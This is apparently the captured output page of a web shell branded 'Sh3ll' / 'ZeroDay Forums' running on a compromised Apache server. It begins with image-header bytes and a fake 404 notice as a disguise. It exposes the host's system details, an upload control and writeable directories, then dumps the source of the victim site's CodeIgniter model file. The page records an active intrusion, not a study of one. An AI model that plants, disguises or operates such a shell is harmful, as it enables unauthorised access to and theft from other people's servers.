����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/adimi/application/modules/dashboard/models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/html/adimi/application/modules/dashboard/models/Apps.php
<?php 

class Apps extends CI_Model {

	public function __construct()
	{
		parent::__construct();
	}

	//About Us List
	public function about_us_list()
	{
		$this->db->select('*');
		$this->db->from('about_us');
		$this->db->order_by('content_id','asc');
		$query = $this->db->get();
		if ($query->num_rows() > 0) {
			return $query->result_array();	
		}
		return false;
	}

	//about_us Search Item
	public function about_us_search_item($about_us_id)
	{
		$this->db->select('*');
		$this->db->from('about_us');
		$this->db->where('about_us_id',$about_us_id);
		$query = $this->db->get();
		if ($query->num_rows() > 0) {
			return $query->result_array();	
		}
		return false;
	}

	//About us entry
	public function about_us_entry($data)
	{
		$this->db->insert('about_us',$data);
		return TRUE;
	}

	//Retrieve About Us Edit Data
	public function retrieve_about_us_editdata($position)
	{
		$this->db->select('*');
		$this->db->from('about_us');
		$this->db->where('position',$position);
		$this->db->order_by('language_id');
		$query = $this->db->get();
		if ($query->num_rows() > 0) {
			return $query->result_array();	
		}
		return false;
	}
	
	//Update About_us
	public function update_about_us($data,$position,$language_id)
	{
		$this->db->set('headline',$data['headline']);
		$this->db->set('icon',$data['icon']);
		$this->db->set('details',$data['details']);
		$this->db->where('language_id',$language_id);
		$this->db->where('position',$position);
		$result = $this->db->update('about_us');


		if (array_key_exists('position', $data)) {
			$this->db->set('position',$data['position']);
			$this->db->where('position',$position);
			$result = $this->db->update('about_us');
		}

		if ($result) {
			return true;
		}
		return false;
	}	

	// Delete about_us Item
	public function delete_about_us($position)
	{
		$this->db->where('position',$position);
		$this->db->delete('about_us'); 	
		return true;
	}
}

ZeroDay Forums Mini